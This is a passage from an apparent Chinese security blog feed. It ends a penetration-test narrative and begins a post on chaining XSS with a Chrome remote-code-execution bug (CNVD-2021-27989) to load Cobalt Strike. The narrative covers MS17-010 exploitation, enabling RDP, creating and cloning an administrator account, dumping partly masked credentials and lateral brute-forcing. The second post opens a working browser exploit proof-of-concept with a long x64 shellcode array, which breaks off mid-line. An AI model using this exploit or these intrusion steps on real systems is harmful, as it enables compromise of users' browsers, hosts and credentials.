style="" data-type="png" data-w="2982" src="https://wechat2rss.xlab.app/img-proxy/?k=79d8f287&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7Iaxz0rlU43vcg0DcbOBu8iafObVjAMLs5JHBFJUh6kMJ2t1lXDY5USH1A%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">等待了一天后，第二天发现已经扫描完毕：</span><span style="font-size: 14px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6457975986277873" data-s="300,640" style="" data-type="png" data-w="2332" src="https://wechat2rss.xlab.app/img-proxy/?k=ff71fe27&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7IaYKCgXWAeaA6onibNTG4JzRYLNTQvvylLkzHQQia0ejZUNovacsNP8gjg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">由于那台跳板机器没有 chrome 浏览器，所以没能截图：</span><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.36187290969899666" data-s="300,640" style="" data-type="png" data-w="2990" src="https://wechat2rss.xlab.app/img-proxy/?k=068a0893&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7Ia8b0lUMm1KwDXibN2SQEvmDAdicUC78npnbmE1fTFqL8GUyxvZxpuGumg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.16755674232309747" data-s="300,640" style="" data-type="png" data-w="2996" src="https://wechat2rss.xlab.app/img-proxy/?k=409c84af&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7Iav4jAJViatUoib2zrMt7243u3K1FZYPw3OrOCibIg51zrYyH4HicNzvGC3w%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.17045454545454544" data-s="300,640" style="" data-type="png" data-w="2992" src="https://wechat2rss.xlab.app/img-proxy/?k=deb4b46a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7Ia4ibibDGU96M0f29iaLH0NU5gffFG8eT27EdFBSL43GCfsMADk3y1K7iaYg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="font-size: 14px;">通过 InScan 扫描出来的 MS17010  成功拿下内网 x.xx.10.50 ：<br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.4171875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=60f2c5d9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7IagFy3VOSGiaNJQhMfw8z9quejcibeC0TF1C8Mxyuxwd2xjEdibSPlGNt7A%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">之后通过开启了它的 3389 ：</span><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">run</span> post/windows/manage/enable_rdp</span></code></pre></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.21923335574983188" data-s="300,640" style="" data-type="png" data-w="2974" src="https://wechat2rss.xlab.app/img-proxy/?k=f458b188&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7IaGYh0wJcxqehBeuiafz2ROuqNvVbeY4zveRcyc2WYoN4xve03K8R2OKQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="font-size: 14px;">然后添加了一个用户：asp.net</span><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="1.2265625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=3010560d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7IaOyaen7vON7Bx5k8SpYXGeTic9ZhWY3UtYE6djbI5vUZ0ooWoia8nF6Aw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6293222683264177" data-s="300,640" style="" data-type="png" data-w="2892" src="https://wechat2rss.xlab.app/img-proxy/?k=e605f901&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7IaomLxbq3RfhUTicjpfxibcROHs4ljicaib8o5MkLyVvDia0qtjibQGMWh8ic4A%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">随即克隆成 administrator 用户：</span><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6473638720829732" data-s="300,640" style="" data-type="png" data-w="2314" src="https://wechat2rss.xlab.app/img-proxy/?k=65d3cce8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7Iaibib6mnYnp9niba9a9EfPnV3AVSZ0goaFLu1xRU6anGnW8yQuw1gDaMWQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.45017182130584193" data-s="300,640" style="" data-type="png" data-w="1746" src="https://wechat2rss.xlab.app/img-proxy/?k=fa7de634&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7IaA0yVHggDWhygwRolqmgHCUbQu8pmaRzeY8wxkV0ENS9SjowYEicVMCg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">由于当前机器是不出网的，排查是 DNS 的问题，随即改了他的 DNS 为 8.8.8.8 就能出网了：</span><span style="font-size: 14px;"></span><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5060449050086355" data-s="300,640" style="" data-type="png" data-w="2316" src="https://wechat2rss.xlab.app/img-proxy/?k=4d992df9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7IanXV7w3haoEIN0eaP6EiboSPYBot0icGMiaWqVJNecBxf6c0QGQVcK7qcw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">随即上线到 CS：<br/></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6091877496671105" data-s="300,640" style="" data-type="png" data-w="3004" src="https://wechat2rss.xlab.app/img-proxy/?k=10536530&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7Ia3l2icHsbpH1WUZWlK6vdIdib8kyr44Qa7zSzyHySAaQI6SrH4XgibeLrA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">之后提权到 SYSTEM 成功抓到 Administrator 的密码：</span><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">WIN-xxxxF42860A</span>\<span class="code-snippet__selector-tag">Administrator</span> <span class="code-snippet__selector-tag">xxxx</span>@<span class="code-snippet__keyword">WSX</span></span></code><code><span class="code-snippet_outer">WIN-xxxxF42860A\Administrator xxxxfe596a5db81874498a24</span></code></pre></section><p><span style="font-size: 14px;">拿到密码后通过得到的密码去横向爆破，又拿到了一些机器：<br/></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.8" data-s="300,640" style="" data-type="png" data-w="2300" src="https://wechat2rss.xlab.app/img-proxy/?k=c3e14baf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7IaVnQaZ2rpR7iaTp2kVKeAvg53IsicFQdYpxrwKeoO0Kk1zZno7e9Y2kGw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">针对于 Windows 的可以直接登陆远程桌面或者 Psexec 直接获取一个 Meterpreter ：</span><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.4950429610046266" data-s="300,640" style="" data-type="png" data-w="3026" src="https://wechat2rss.xlab.app/img-proxy/?k=348d5061&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7IaWAHC5w2gcxd2TMiajB50GYxy5gmicVBbMMqia04mFJFgzWYdhu2tiaJ48Q%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;"></span></p><p><span style="font-size: 14px;">对于 Linux 可以直接登陆目标 SSH：<br/></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5673327541268463" data-s="300,640" style="" data-type="png" data-w="2302" src="https://wechat2rss.xlab.app/img-proxy/?k=6095158d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHicychMUnWibzT3dcyVNRZ7IaSx1D3gZYFr0SZQPiaTgUz9ZbQThVPBUVvdVibGrkrWqqMtbmSiaRibL2nw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">弄到这里的时候客户叫停，至此不再深入，本次渗透测试到此为止！<br/></span></p><p><br/></p><section data-tools="135编辑器" data-id="88109" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;" data-darkmode-bgcolor-16250360634552="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250360634552="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__23"><section style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;" data-darkmode-bgcolor-16250360634552="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250360634552="#fff|rgb(255, 255, 255)"><section style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;overflow-wrap: break-word !important;" data-darkmode-bgcolor-16250360634552="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250360634552="#fff|rgb(255, 255, 255)"><p style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;" data-darkmode-bgcolor-16250360634552="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250360634552="#fff|rgb(255, 255, 255)" data-darkmode-color-16250360634552="rgb(254, 254, 254)" data-darkmode-original-color-16250360634552="#fff|rgb(254, 254, 254)"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" data-darkmode-bgcolor-16250360634552="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250360634552="#fff|rgb(255, 255, 255)" data-darkmode-color-16250360634552="rgb(254, 254, 254)" data-darkmode-original-color-16250360634552="#fff|rgb(254, 254, 254)"><span data-brushtype="text" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);box-sizing: border-box !important;overflow-wrap: break-word !important;" data-darkmode-bgcolor-16250360634552="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250360634552="#fff|rgb(255, 255, 255)" data-darkmode-color-16250360634552="rgb(141, 141, 141)" data-darkmode-original-color-16250360634552="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__24">InBug-实验室</span></strong></p></section></section></section><p><br style="white-space: normal;"/></p><p><span style="font-size: 14px;">官网：<a href="https://www.inbug.org/" target="_blank">https://www.inbug.org/</a></span></p><p><span style="font-size: 14px;">InScan内网扫描器：<a href="https://github.com/inbug-team/InScan" target="_blank">https://github.com/inbug-team/InScan</a></span></p><section class="mp_profile_iframe_wrp"><mpprofile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="Mzg2NjYwMTk0MA==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/yYePiaZj2cH8sQ9I29jImmqjtDY6xIcSPKPJrhmbMSgCXfwMagX7QSISQlATIsrbm8LrPe1QU0ITJetpldhP2WQ/0?wx_fmt=png" data-nickname="InBug实验室" data-alias="" data-signature="信息安全相关信息推送，专注于红蓝对抗。" data-from="0"></mpprofile></section>



<p><a href="2247483826">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=39682e32&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NjYwMTk0MA%3D%3D%26mid%3D2247483826%26idx%3D1%26sn%3D6a005a7b149646d20323b1c338d4d216%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 30 Jun 2021 18:11:00 +0800</pubDate>
    </item>
    <item>
      <title>XSS + Chrome Rce = 上线到CobaltStrike</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NjYwMTk0MA==&amp;mid=2247483747&amp;idx=1&amp;sn=98f0a96c8412a8d94d0b69b7461d1ed8</link>
      <description>最近 Google Chrome 浏览器被爆出存在远程代码执行漏洞（CNVD-2021-27989），攻击者只需要构造一个恶意的 html 页面诱导用户点击访问，就能实现对浏览器的远程代码执行攻击。</description>
      <content:encoded><![CDATA[<p>
原创 <span>InBug实验室</span> <span>2021-04-17 12:32</span> <span style="display: inline-block;"></span>
</p>

<p>最近 Google Chrome 浏览器被爆出存在远程代码执行漏洞（CNVD-2021-27989），攻击者只需要构造一个恶意的 html 页面诱导用户点击访问，就能实现对浏览器的远程代码执行攻击。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6bf2065c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FyYePiaZj2cH9WREIa6WjR1vZYR8VNhLaRfXspaia78LN6UhzAwA41Oy1iaibiaNtmrTULIoPrakbLUMjxMaJSHly1bA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tools="135编辑器" data-id="88109" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section hm_fix="350:722" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;overflow-wrap: break-word !important;"><p style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);box-sizing: border-box !important;overflow-wrap: break-word !important;">前言</span></strong></p></section></section></section><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p><span style="font-size: 14px;">最近 Google Chrome 浏览器被爆出存在远程代码执行漏洞（<span style="text-align: justify;background-image: none !important;box-shadow: none !important;border-color: rgb(166, 166, 166) !important;">CNVD-2021-27989），攻击者只需要构造一个恶意的 html 页面诱导用户点击访问，就能实现对浏览器的远程代码执行攻击。<span style="background-image: none !important;box-shadow: none !important;">但是攻击者单独利用该漏洞无法实现沙盒（SandBox）逃逸。沙盒是 Google Chrome 浏览器的安全边界，防止恶意攻击代码破坏用户系统或者浏览器其他页面。Google Chrome 浏览器默认开启沙盒保护模式。</span></span></span></p><p><span style="font-size: 14px;text-align: justify;border-color: rgb(166, 166, 166) !important;background-image: none !important;box-shadow: none !important;"><br/></span></p><p><span style="text-align: justify;font-size: 14px;background-image: none !important;box-shadow: none !important;border-color: rgb(166, 166, 166) !important;">漏洞影响范围：Google Chrome &lt; = 89.0.4389.114。</span></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><section data-tools="135编辑器" data-id="88109" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section hm_fix="350:722" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;overflow-wrap: break-word !important;"><p style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);box-sizing: border-box !important;overflow-wrap: break-word !important;">点击链接打开记事本</span></strong></p></section></section></section><p><br/></p><p><span style="font-size: 14px;">该 Poc 来自于网络：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">script</span>&gt;</span></span></code><code><span class="code-snippet_outer">   <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">gc</span>(<span class="code-snippet__params"></span>) </span>{</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">var</span> i = <span class="code-snippet__number">0</span>; i &lt; <span class="code-snippet__number">0x80000</span>; ++i) {</span></code><code><span class="code-snippet_outer">           <span class="code-snippet__keyword">var</span> a = <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">ArrayBuffer</span>();</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">let</span> shellcode = [<span class="code-snippet__number">0xFC</span>, <span class="code-snippet__number">0x48</span>, <span class="code-snippet__number">0x83</span>, <span class="code-snippet__number">0xE4</span>, <span class="code-snippet__number">0xF0</span>, <span class="code-snippet__number">0xE8</span>, <span class="code-snippet__number">0xC0</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x41</span>, <span class="code-snippet__number">0x51</span>, <span class="code-snippet__number">0x41</span>, <span class="code-snippet__number">0x50</span>, <span class="code-snippet__number">0x52</span>, <span class="code-snippet__number">0x51</span>,</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__number">0x56</span>, <span class="code-snippet__number">0x48</span>, <span class="code-snippet__number">0x31</span>, <span class="code-snippet__number">0xD2</span>, <span class="code-snippet__number">0x65</span>, <span class="code-snippet__number">0x48</span>, <span class="code-snippet__number">0x8B</span>, <span class="code-snippet__number">0x52</span>, <span class="code-snippet__number">0x60</span>, <span class="code-snippet__number">0x48</span>, <span class="code-snippet__number">0x8B</span>, <span class="code-snippet__number">0x52</span>, <span class="code-snippet__number">0x18</span>, <span class="code-snippet__number">0x48</span>, <span class="code-snippet__number">0x8B</span>, <span class="code-snippet__number">0x52</span>,</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__number">0x20</span>, <span class="code-snippet__number">0x48</span>, <span class="code-snippet__number">0x8B</span>, <span class="code-snippet__number">0x72</span>, <span class="code-snippet__number">0x50</span>, <span class="code-snippet__number">0x48</span>, <span class="code-snippet__number">0x0F</span>, <span class="code-snippet__number">0xB7</span>, <span class="code-snippet__number">0x4A</span>, <span class="code-snippet__number">0x4A</span>, <span class="code-snippet__number">0x4D</span>, <span class="code-snippet__number">0x31</span>, <span class="code-snippet__number">0xC9</span>, <span class="code-snippet__number">0x48</span>, <span class="code-snippet__number">0x31</span>, <span class="code-snippet__number">0xC0</span>,</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__number">0xAC</span>, <span class="code-snippet__number">0x3C</span>, <span class="code-snippet__number">0x61</span>, <span class="code-snippet__number">0x7C</span>, <span class="code-snippet__number">0x02</span>, <span class="code-snippet__number">0x2C</span>, <span class="code-snippet__number">0x20</span>, <span class="code-snippet__number">0x41</span>, <span class="code-snippet__number">0xC1</span>, <span class="code-snippet__number">0xC9</span>, <span class="code-snippet__number">0x0D</span>, <span class="code-snippet__number">0x41</span>, <span class="code-snippet__number">0x01</span>, <span class="code-snippet__number">0xC1</span>, <span class="code-snippet__number">0xE2</span>, <span class="code-snippet__number">0xED</span>,</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__number">0x52</span>, <span class="code-snippet__number">0x41</span>, <span class="code-snippet__number">0x51</span>, <span class="code-snippet__number">0x48</span>, <span class="code-snippet__number">0x8B</span>, <span class="code-snippet__number">0x52</span>, <span class="code-snippet__number">0x20</span>, <span class="code-snippet__number">0x8B</span>, <span class="code-snippet__number">0x42</span>, <span class="code-snippet__number">0x3C</span>, <span class="code-snippet__number">0x48</span>, <span class="code-snippet__number">0x01</span>, <span class="code-snippet__number">0xD0</span>, <span class="code-snippet__number">0x8B</span>, <span class="code-snippet__number">0x80</span>, <span class="code-snippet__number">0x88</span>,</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x48</span>, <span class="code-snippet__number">0x85</span>, <span class="code-snippet__number">0xC0</span>, <span class="code-snippet__number">0x74</span>, <span class="code-snippet__number">0x67</span>, <span class="code-snippet__number">0x48</span>, <span class="code-snippet__number">0x01</span>, <span class="code-snippet__number">0xD0</span>, <span class="code-snippet__number">0x50</span>, <span class="code-snippet__number">0x8B</span>, <span class="code-snippet__number">0x48</span>, <span class="code-snippet__number">0x18</span>, <span class="code-snippet__number">0x44</span>,</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__number">0x8B</span>, <span class="code-snippet__number">0x40</span>, <span class="code-snippet__number">0x20</span>, <span class="code-snippet__number">0x49</span>, <span class="code-snippet__number">0x01</span>, <span class="code-snippet__number">0xD0</span>, <span class="code-snippet__number">0xE3</span>, <span class="code-snippet__number">0x56</span>, <span class="code-snippet__number">0x48</span>, <span class="code-snippet__number">0xFF</span>, <span class="code-snippet__number">0xC9</span>, <span class="code-snippet__number">0x41</span>, <span class="code-snippet__number">0x8B</span>, <span class="code-snippet__number">0x34</span>, <span class="code-snippet__number">0x88</span>, <span class="code-snippet__number">0x48</span>,</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__number">0x01</span>, <span class="code-snippet__number">0xD6</span>, <span class="code-snippet__number">0x4D</span>, <span class="code-snippet__number">0x31</span>, <span class="code-snippet__number">0xC9</span>, <span class="code-snippet__number">0x48</span>, <span class="code-snippet__number">0x31</span>, <span class="code-snippet__number">0xC0</span>, <span class="code-snippet__number">0xAC</span>, <span class="code-snippet__number">0x41</span>, <span class="code-snippet__number">0xC1</span>, <span class="code-snippet__number">0xC9</span>, <span class="code-snippet__number">0x0D</span>, <span class="code-snippet__number">0x41</span>, <span class="code-snippet__number">0x01</span>, <span class="code-snippet__number">0xC1</span>,</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__number">0x38</span>, <span class="code-snippet__number">0xE0</span>, <span class="code-snippet__number">0x75</span>, <span class="code-snippet__number">0xF1</span>, <span class="code-snippet__number">0x4C</span>, <span class="code-snippet__number">0x03</span>, <span class="code-snippet__number">0x4C</span>, <span class="code-snippet__number">0x24</span>, <span class="code-snippet__number">0x08</span>, <span class="code-snippet__number">0x45</span>, <span class="code-snippet__number">0x39</span>, <span class="code-snippet__number">0xD1</span>, <span class="code-snippet__number">0x75</span>, <span class="code-snippet__number">0xD8</span>, <span class="code-snippet__number">0x58</span>, <span class="code-snippet__number">0x44</span>,</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__number">0x8B</span>, <span class="code-snippet__number">0x40</span>, <span class="code-snippet__number">0x24</span>, <span class="code-snippet__number">0x49</span>, <span class="code-snippet__number">0x01</span>, <span class="code-snippet__number">0xD0</span>, <span class="code-snippet__number">0x66</span>, <span class="code-snippet__number">0x41</span>, <span class="code-snippet__number">0x8B</span>, <span class="code-snippet__number">0x0C</span>, <span class="code-snippet__number">0x48</span>, <span class="code-snippet__number">0x44</span>, <span class="code-snippet__number">0x8B</span>, <span class="code-snippet__number">0x40</span>, <span class="code-snippet__number">0x1C</span>, <span class="code-snippet__number">0x49</span>,</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__number">0x01</span>, <span class="code-snippet__number">0xD0</span>, <span class="code-snippet__number">0x41</span>, <span class="code-snippet__number">0x8B</span>, <span class="code-snippet__number">0x04</span>, <span class="code-snippet__number">0x88</span>, <span class="code-snippet__number">0x48</span>, <span class="code-snippet__number">0x01</span>, <span class="code-snippet__number">0xD0</span>, <span class="code-snippet__number">0x41</span>, <span class="code-snippet__number">0x58</span>, <span class="code-snippet__number">0x41</span>, <span class="code-snippet__number">0x58</span>, <span class="code-snippet__number">0x5E</span>, <span class="code-snippet__number">0x59</span>, <span class="code-snippet__number">0x5A</span>,</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__number">0x41</span>, <span class="code-snippet__number">0x58</span>, <span class="code-snippet__number">0x41</span>, <span class="code-snippet__number">0x59</span>, <span class="code-snippet__number">0x41</span>, <span class="code-snippet__number">0x5A</span>, <span class="code-snippet__number">0x48</span>, <span class="code-snippet__number">0x83</span>, <span class="code-snippet__number">0xEC</span>, <span class="code-snippet__number">0x20</span>, <span class="code-snippet__number">0x41</span>, <span class="code-snippet__number">0x52</span>, <span class="code-snippet__number">0xFF</span>, <span class="code-snippet__number">0xE0</span>, <span class="code-snippet__number">0x58</span>, <span class="code-snippet__number">0x41</span>,</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__number">0x59</span>, <span class="code-snippet__number">0x5A</span>, <span class="code-snippet__number">0x48</span>, <span class="code-snippet__number">0x8B</span>, <span class="code-snippet__number">0x12</span>, <span class="code-snippet__number">0xE9</span>, <span class="code-snippet__number">0x57</span>, <span 